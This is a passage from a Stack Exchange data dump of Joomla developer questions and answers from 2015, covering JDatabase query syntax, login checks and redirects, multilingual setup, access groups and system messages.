LastActivityDate="2018-01-18T04:55:23.653" Title="Read more (Introtext, Fulltext) functionaltiy in category page in Joomla 3.x" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9538" PostTypeId="2" ParentId="9537" CreationDate="2015-04-19T23:49:12.773" Score="4" Body="&lt;p&gt;Technical Answer: No this isn't possible in a simple way. The reason that articles have a readmore is because we actually separate the text and store it in different database columns when we bind it to the table object (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.4.1/libraries/legacy/table/content.php#L123-L137&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/3.4.1/libraries/legacy/table/content.php#L123-L137&lt;/a&gt;). i.e. none of this is done in a plugin. The readmore plugin (editors-xtd) is simply a mechanism for easily allowing you to insert such an HR tag into the article body - disable that and this split will still continue to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to code this in a plugin way you could hope for is to build your own content plugin on the &lt;code&gt;onContentPrepare&lt;/code&gt; event and implement code similar to that in the ContentTable class I put above. You could then create your full_text and intro_text variables there. The integration plugin between com_content and com_contact is probably helpful as a basis for this work (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.4.1/plugins/content/contact/contact.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/3.4.1/plugins/content/contact/contact.php&lt;/a&gt;) and what you're doing should be much simpler than what this plugin does - as you can just look at the existing data without needing custom db queries. It should only need to be a dozen or so lines of code I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL/DR no not in any easy way - although I have suggested a way around it (note I haven't checked JED so it's always possible someone has already done this :P)&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-04-19T23:49:12.773" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9539" PostTypeId="1" AcceptedAnswerId="9541" CreationDate="2015-04-20T05:35:53.167" Score="1" ViewCount="82" Body="&lt;p&gt;I am making a multi-language joomla 3.x site and I'm using com_jalang to help me achieve my goal. I've installed language packs in the backend, but i can not see them when my site loads. I should see them in the language switcher select box. Can someone help me please???&lt;/p&gt;&#xA;" OwnerUserId="3854" LastActivityDate="2015-04-20T06:30:47.400" Title="I'm using com_jalang in my site and languages are not auto loading" Tags="|joomla-3.x|component|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9540" PostTypeId="1" AcceptedAnswerId="9542" CreationDate="2015-04-20T06:25:57.230" Score="2" ViewCount="577" Body="&lt;p&gt;I want to create a complex WHERE query that checks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If (condition1 = TRUE) AND (condition2 = TRUE) AND (condition3 = TRUE OR condition4 = TRUE) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first two conditions MUST always be true and then either condition 3 or 4 MUST be true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying with the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select ($db-&amp;gt;quoteName(array('c.event','b.date','b.type','a.mob','a.joined','a.left')))&#xA;-&amp;gt;from ($db-&amp;gt;quoteName('app_mob_animal', 'a'))&#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_event_animal', 'b') . 'ON (' .$db-&amp;gt;quoteName('a.mob'). '=' .$db-&amp;gt;quoteName('b.mob').')')    &#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_events', 'c') . 'ON (' .$db-&amp;gt;quoteName('b.event'). '=' .$db-&amp;gt;quoteName('c.id').')') &#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_mob', 'd') . 'ON (' .$db-&amp;gt;quoteName('a.mob'). '=' .$db-&amp;gt;quoteName('d.id').')')&#xA;-&amp;gt;where (($db-&amp;gt;quoteName('a.animal') . 'LIKE' . $db-&amp;gt;quote($anid)), 'AND')&#xA;-&amp;gt;where (($db-&amp;gt;quoteName('a.joined') . '&amp;lt;=' . $db-&amp;gt;quoteName('b.date')), 'AND') &#xA;-&amp;gt;where (($db-&amp;gt;quoteName('a.left') . '&amp;gt;=' . $db-&amp;gt;quoteName('b.date') .'OR'. ($db-&amp;gt;quoteName('a.left') .'LIKE'. $db-&amp;gt;quote($emptyDate))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I spit out my responses I am getting results that clearly break the second condition. Here's an except of my results, the second one does not fulfill the criteria.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [0]=&amp;gt;&#xA;  object(stdClass)#891 (6) {&#xA;    [&quot;event&quot;]=&amp;gt;&#xA;    string(7) &quot;weighed&quot;&#xA;    [&quot;date&quot;]=&amp;gt;&#xA;    string(19) &quot;2015-04-19 00:00:00&quot;&#xA;    [&quot;type&quot;]=&amp;gt;&#xA;    string(3) &quot;mob&quot;&#xA;    [&quot;mob&quot;]=&amp;gt;&#xA;    string(2) &quot;11&quot;&#xA;    [&quot;joined&quot;]=&amp;gt;&#xA;    string(19) &quot;2015-04-18 11:39:14&quot;&#xA;    [&quot;left&quot;]=&amp;gt;&#xA;    string(19) &quot;0000-00-00 00:00:00&quot;&#xA;  }&#xA;  [1]=&amp;gt;&#xA;  object(stdClass)#888 (6) {&#xA;    [&quot;event&quot;]=&amp;gt;&#xA;    string(9) &quot;vet visit&quot;&#xA;    [&quot;date&quot;]=&amp;gt;&#xA;    string(19) &quot;2015-03-31 11:46:08&quot;&#xA;    [&quot;type&quot;]=&amp;gt;&#xA;    string(3) &quot;mob&quot;&#xA;    [&quot;mob&quot;]=&amp;gt;&#xA;    string(2) &quot;11&quot;&#xA;    [&quot;joined&quot;]=&amp;gt;&#xA;    string(19) &quot;2015-04-18 11:39:14&quot;&#xA;    [&quot;left&quot;]=&amp;gt;&#xA;    string(19) &quot;0000-00-00 00:00:00&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct syntax for the WHERE part of this query?&lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2019-09-30T13:42:34.300" Title="How to combine several sets of 'ANDs' and 'ORs' in a complex WHERE query object?" Tags="|mysql|jdatabase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9541" PostTypeId="2" ParentId="9539" CreationDate="2015-04-20T06:30:47.400" Score="2" Body="&lt;p&gt;Go to &lt;code&gt;Extensions &amp;gt; Language Manager&lt;/code&gt;. Click on &lt;code&gt;Content&lt;/code&gt; in sidebar. Add your installed languages there too. Installing language dosen't create content language automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also should have &quot;Default page&quot; for every language. Otherwise it wont show up in language switcher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get it right, follow &lt;a href=&quot;http://www.templatemonster.com/help/joomla-3-x-configuration-multilanguage-site.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-04-20T06:30:47.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9542" PostTypeId="2" ParentId="9540" CreationDate="2015-04-20T06:37:03.490" Score="2" Body="&lt;p&gt;Your &lt;code&gt;OR&lt;/code&gt; condition is breaking it. Right now it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if condition1 = TRUE AND condition2 = TRUE AND condition3 = TRUE OR condition4 = TRUE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you don't have &lt;code&gt;()&lt;/code&gt; around conditions 3 and 4. This will also give results where only &lt;code&gt;condition4&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select ($db-&amp;gt;quoteName(array('c.event','b.date','b.type','a.mob','a.joined','a.left')))&#xA;-&amp;gt;from ($db-&amp;gt;quoteName('app_mob_animal', 'a'))&#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_event_animal', 'b') . ' ON (' .$db-&amp;gt;quoteName('a.mob'). '=' .$db-&amp;gt;quoteName('b.mob').')')    &#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_events', 'c') . ' ON (' .$db-&amp;gt;quoteName('b.event'). '=' .$db-&amp;gt;quoteName('c.id').')') &#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_mob', 'd') . ' ON (' .$db-&amp;gt;quoteName('a.mob'). '=' .$db-&amp;gt;quoteName('d.id').')')&#xA;-&amp;gt;where ($db-&amp;gt;quoteName('a.animal') . ' LIKE ' . $db-&amp;gt;quote($anid), 'AND')&#xA;-&amp;gt;where ($db-&amp;gt;quoteName('a.joined') . '&amp;lt;=' . $db-&amp;gt;quoteName('b.date'), 'AND') &#xA;-&amp;gt;where ('('.$db-&amp;gt;quoteName('a.left') . '&amp;gt;=' . $db-&amp;gt;quoteName('b.date') .' OR '. $db-&amp;gt;quoteName('a.left') .' LIKE '. $db-&amp;gt;quote($emptyDate).')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can print out query to see how it is built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your query variable is &lt;code&gt;$query&lt;/code&gt;, then do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $query-&amp;gt;dump(); // Thanks to @DmitryRekun&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it will print full query what gets executed. This way you can see what's wrong with it. Just for simple debugging.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-20T12:32:58.790" LastActivityDate="2015-04-20T12:32:58.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9544" PostTypeId="1" CreationDate="2015-04-20T09:31:52.440" Score="2" ViewCount="1149" Body="&lt;p&gt;I have inserted the Joomla search module in an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I wish that this module would allow me to search only in the article in which it is present and not throughout the site!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="1629" LastEditDate="2015-04-20T14:29:16.357" LastActivityDate="2019-11-07T07:50:29.817" Title="Text search within single article content" Tags="|joomla-3.x|joomla-2.5|module|articles|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9545" PostTypeId="1" CreationDate="2015-04-20T11:24:46.160" Score="2" ViewCount="782" Body="&lt;p&gt;I have a Joomla 2.5 website. The website requires all users to log in as the content is restricted to registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When my users log in there is a Remember Me function as part of the core Joomla system. This doesn't seem to be working properly for users that have checked this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a question on here that looked like it was having the same issue: &lt;a href=&quot;https://stackoverflow.com/questions/11956186/remember-me-plugin-is-not-working-on-joomla2-5/29745525#29745525&quot;&gt;https://stackoverflow.com/questions/11956186/remember-me-plugin-is-not-working-on-joomla2-5/29745525#29745525&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that question, I have created the phpinfo.php file (as the cookies lifetime was set to 0 by my server) and set it to 30*24*60*60 (30 days). I had tried adding &quot;ini_set('session.cookie_lifetime', 536*60*60);&quot; to the index.php file within the Joomla folder too but it didn't work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4098" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-12-25T02:10:33.993" Title="Remember Me feature not working Joomla 2.5" Tags="|joomla-2.5|login|user|session|cookies|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9546" PostTypeId="1" AcceptedAnswerId="9547" CreationDate="2015-04-20T11:28:35.973" Score="9" ViewCount="10414" Body="&lt;p&gt;I'm developing new MVC custom Joomla component (com_helpdesk) and need to verify if user is logged in to site. If not then it should redirect to the login page with &quot;return&quot; parameter. Could someone help me with it?&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2020-12-08T05:01:07.853" Title="Custom Component - Need to verify if user is logged in" Tags="|joomla-3.x|component|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9547" PostTypeId="2" ParentId="9546" CreationDate="2015-04-20T11:36:56.860" Score="15" Body="&lt;p&gt;You can use Joomla's user object for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();        // Get the user object&#xA;$app  = JFactory::getApplication(); // Get the application&#xA;&#xA;if ($user-&amp;gt;id != 0)&#xA;{&#xA;    // you are logged in&#xA;}&#xA;else &#xA;{&#xA;    // Redirect the user&#xA;    $app-&amp;gt;redirect(JRoute::_('index.php?option=com_users&amp;amp;view=login'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you would like to display a message when they get redirected, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg = 'You must be logged in to view this content';&#xA;$app-&amp;gt;redirect(JRoute::_('index.php?option=com_users&amp;amp;view=login'), $msg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-05-18T23:27:35.557" LastActivityDate="2017-05-18T23:27:35.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9548" PostTypeId="2" ParentId="9546" CreationDate="2015-04-20T12:02:49.530" Score="4" Body="&lt;p&gt;Althugh Lodder have answered my questions, Here's what I did which I feel more sophisticated way to deal with custom component. It adds return parameter to com_users component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Main Controller, (components/com_mycomponent/controller.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I override following method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = array()) {&#xA;&#xA;        $user = JFactory::getUser();&#xA;&#xA;        if ($user-&amp;gt;get('guest') == 1) {&#xA;            $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . base64_encode(JUri::current()), &quot;You must be logged in to view this content&quot;));&#xA;            return;&#xA;        }&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-20T12:02:49.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9549" PostTypeId="2" ParentId="9544" CreationDate="2015-04-20T12:46:50.927" Score="1" Body="&lt;p&gt;No, it is not possible. Joomla &quot;Search module&quot; search through content areas in CMS database. It does not search in a published article, on the browser side.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-20T12:46:50.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9550" PostTypeId="1" CreationDate="2015-04-20T12:47:49.913" Score="0" ViewCount="72" Body="&lt;p&gt;I created three groups (staff, partner &amp;amp; dealer) under same parent - Registered and Viewing to associated groups (staff -&gt; staff, partner -&gt; partner, dealer -&gt; dealer). &lt;br /&gt;&#xA;When I wrote a content and giving access to &quot;staff&quot; but Public could see that post also the others group could. &lt;br /&gt;&#xA;So I would like to make each groups having each viewing content access. How to give them permission in Joomla 3.x.x? &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited&lt;/strong&gt; : &lt;br /&gt;&#xA;I created a method to hide menu link to each categories which are accessed only specified groups. It looks fine for awhile but I don't like that method.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: Sorry for my bad English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YyOU6.png&quot; alt=&quot;User Groups&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKKQL.png&quot; alt=&quot;Viewing Access&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4074" LastEditorUserId="4074" LastEditDate="2015-04-20T16:28:22.977" LastActivityDate="2016-05-26T08:24:38.837" Title="Giving viewing access to each group" Tags="|joomla-3.x|view|acl|joomla-user-groups|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9552" PostTypeId="2" ParentId="9544" CreationDate="2015-04-20T14:27:32.767" Score="2" Body="&lt;p&gt;No, the Joomla search module will not work to search within a single article. But there are several ways you can make your FAQ more user friendly, depending on how complex it is. Here's a couple of ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tell the users to press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; (or simply &lt;kbd&gt;F3&lt;/kbd&gt;) to open the in-page search box to search on the current page. This works on all browsers (as far as I know).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Implement a in-page search box using JavaScript. I found &lt;a href=&quot;http://www.javascripter.net/faq/searchin.htm&quot; rel=&quot;nofollow&quot;&gt;the following code&lt;/a&gt; that should work, although it's quite old (the site talks about Netscape, a browser from the era of the dinosaurs...):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var TRange=null;&#xA;&#xA;function findString (str) {&#xA; if (parseInt(navigator.appVersion)&amp;lt;4) return;&#xA; var strFound;&#xA; if (window.find) {&#xA;&#xA;  // CODE FOR BROWSERS THAT SUPPORT window.find&#xA;&#xA;  strFound=self.find(str);&#xA;  if (!strFound) {&#xA;   strFound=self.find(str,0,1);&#xA;   while (self.find(str,0,1)) continue;&#xA;  }&#xA;}&#xA; else if (navigator.appName.indexOf(&quot;Microsoft&quot;)!=-1) {&#xA;&#xA;  // EXPLORER-SPECIFIC CODE&#xA;&#xA;  if (TRange!=null) {&#xA;   TRange.collapse(false);&#xA;   strFound=TRange.findText(str);&#xA;   if (strFound) TRange.select();&#xA;  }&#xA;  if (TRange==null || strFound==0) {&#xA;   TRange=self.document.body.createTextRange();&#xA;   strFound=TRange.findText(str);&#xA;   if (strFound) TRange.select();&#xA;}&#xA; }&#xA; else if (navigator.appName==&quot;Opera&quot;) {&#xA;  alert (&quot;Opera browsers not supported, sorry...&quot;)&#xA;  return;&#xA; }&#xA; if (!strFound) alert (&quot;String '&quot;+str+&quot;' not found!&quot;)&#xA; return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/jd-knowledgebase&quot; rel=&quot;nofollow&quot;&gt;knowledgebase extension&lt;/a&gt; that has built-in search function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-20T14:27:32.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9553" PostTypeId="1" CreationDate="2015-04-20T19:38:48.477" Score="1" ViewCount="152" Body="&lt;p&gt;On my homepage, I have two boxes where new users will input their name in the first box, and their email in the second box &lt;em&gt;(image 1)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they register, they will be taken to the registration page (or comreg), where their information will automatically be transferred to the form so they do not have to enter it again &lt;em&gt;(image 2)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few mixes but none seem to work in joomla. This is what I have tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    session_start();&#xA;    if(isset($_POST['input1'])&#xA;    {&#xA;        $input1 = $_POST['input1'];&#xA;        $input2 = $_POST['input2'];&#xA;        $_SESSION['sessionInput1'] = $input1;&#xA;        $_SESSION['sessionInput2'] = $input2;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    session_start();&#xA;    //retrieve session value&#xA;    if(!is_null($_SESSION['sessionInput1'] &amp;amp;&amp;amp; !is_null($_SESSION'sessionInput2'])&#xA;    {&#xA;        $output1 = $_SESSION['sessionInput1'];            &#xA;        $output2 = $_SESSION'sessionInput2'];                 &#xA;    }          &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4sV9d.jpg&quot; alt=&quot;image1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVtTj.png&quot; alt=&quot;image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="4032" LastEditorUserId="126" LastEditDate="2015-08-26T20:56:04.157" LastActivityDate="2015-08-26T20:56:04.157" Title="How to use joomla's sessions to transfer information from input box to registration form?" Tags="|registration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9554" PostTypeId="1" AcceptedAnswerId="9572" CreationDate="2015-04-20T20:40:47.747" Score="1" ViewCount="2002" Body="&lt;p&gt;I have two queries that I am combining using a UNION statement. I know that I need both queries to get the same number and type of arguments to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one query that only really needs three fields and one that needs four. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg query 1's select line looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select ($db-&amp;gt;quoteName(array('c.event','b.date','b.type','a.mob')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;query 2's select line looks like this, XX denotes where I need to insert a dummy field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select ($db-&amp;gt;quoteName(array('b.event','a.date','a.type', XX)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the syntax for putting a dummy field into the select statement of the second query please? &lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2015-04-21T13:13:21.963" Title="How to select a blank(dummy) column in a JDatabse UNION query" Tags="|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9555" PostTypeId="1" AcceptedAnswerId="9565" CreationDate="2015-04-20T21:23:41.323" Score="2" ViewCount="866" Body="&lt;p&gt;I have two queries that I am unioning and would like to order them. I would like to order them on the second element, the date. My queries look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query2&#xA;    -&amp;gt;select ($db-&amp;gt;quoteName(array('c.event','b.date','b.type','d.name')))&#xA;    -&amp;gt;from ($db-&amp;gt;quoteName('app_mob_animal', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_event_animal', 'b') . 'ON (' .$db-&amp;gt;quoteName('a.mob'). '=' .$db-&amp;gt;quoteName('b.mob').')')    &#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_events', 'c') . 'ON (' .$db-&amp;gt;quoteName('b.event'). '=' .$db-&amp;gt;quoteName('c.id').')') &#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_mob', 'd') . 'ON (' .$db-&amp;gt;quoteName('a.mob'). '=' .$db-&amp;gt;quoteName('d.id').')')&#xA;    -&amp;gt;where (($db-&amp;gt;quoteName('a.animal') . 'LIKE' . $db-&amp;gt;quote($anid)), 'AND')&#xA;    -&amp;gt;where (($db-&amp;gt;quoteName('a.joined') . '&amp;lt;=' . $db-&amp;gt;quoteName('b.date')), 'AND') &#xA;    -&amp;gt;where ('('.$db-&amp;gt;quoteName('a.left') . '&amp;gt;=' . $db-&amp;gt;quoteName('b.date') .' OR '. $db-&amp;gt;quoteName('a.left') .' LIKE '. $db-&amp;gt;quote($emptyDate).')');&#xA;&#xA;$query&#xA;    -&amp;gt;select ($db-&amp;gt;quoteName(array('b.event','a.date','a.type','b.id')))&#xA;    -&amp;gt;from ($db-&amp;gt;quoteName('app_event_animal', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_events', 'b') . 'ON (' .$db-&amp;gt;quoteName('a.event'). '=' .$db-&amp;gt;quoteName('b.id').')')     &#xA;    -&amp;gt;where ($db-&amp;gt;quoteName('a.animal') . 'LIKE' . $db-&amp;gt;quote($anid))&#xA;    -&amp;gt;union ($query2);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From reading the instructions at&#xA; [&lt;a href=&quot;https://docs.joomla.org/Using_the_union_methods_in_database_queries]&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_the_union_methods_in_database_queries]&lt;/a&gt;, I think I want to put the query after the union statement. So the last two lines of my second query might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;union ($query2)&#xA;-&amp;gt;order($db-&amp;gt;quote(date) . ' DESC');    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't think I have the syntax right as I keep getting errors like - 1221 - Incorrect usage of UNION and ORDER BY etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the correct way to order this union please?&lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2016-02-19T13:05:35.340" Title="Ordering a UNION" Tags="|mysql|jdatabase|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9556" PostTypeId="1" AcceptedAnswerId="9763" CreationDate="2015-04-20T21:34:31.790" Score="4" ViewCount="823" Body="&lt;p&gt;How can I load a page with a system message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I have a link and I would like that when a user clicks on the link it opens a specific page with a system message I pass it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see system messages just fine on my site, my template has                         &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just don't know what the right code would be to do this. Perhaps the link should actually be a button with an onclick event? &lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2016-07-19T17:38:09.920" Title="How to load a page with a System Message" Tags="|javascript|weblinks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9557" PostTypeId="2" ParentId="9555" CreationDate="2015-04-20T21:42:26.570" Score="0" Body="&lt;p&gt;Just having looked at your &lt;code&gt;order&lt;/code&gt; clause. I see a mistake. You've forgotten to wrap the value on quotes. Try changing it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;order($db-&amp;gt;quote('date') . ' DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, try removing the &lt;code&gt;. 'DESC'&lt;/code&gt;, so you end up with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;order($db-&amp;gt;quote('date'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a last resort, try adding a column name to the result set like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;order($db-&amp;gt;quote('date'), $db-&amp;gt;quoteName('a.event'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-20T21:42:26.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9558" PostTypeId="2" ParentId="9556" CreationDate="2015-04-20T23:54:20.833" Score="5" Body="&lt;p&gt;You can inject system messages at any point in the page render cycle like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JFactory::getApplication()-&gt;enqueueMessage('My glorious message','error');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jdoc tag basically creates the place host and loads needed files required to inject and display messages.  Hope this helps, but depending on exactly where you plan on creating message in code could be relevant.  If you are having issues still post the code where you are creating the message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Edit 1 *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can leverage your custom template and Joomla's Output Override's feature to accomplish what you would like.  For this example, I'm assuming we will overriding the article component view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing is to create the directory path in your custom template's root folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/mytemplate/html/com_content/article/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next would be to copy the core content component default.php file to the new directory, you would find the file for this example at this path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_content/views/article/tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, at the top of this file, you would add the method to queue up a new system 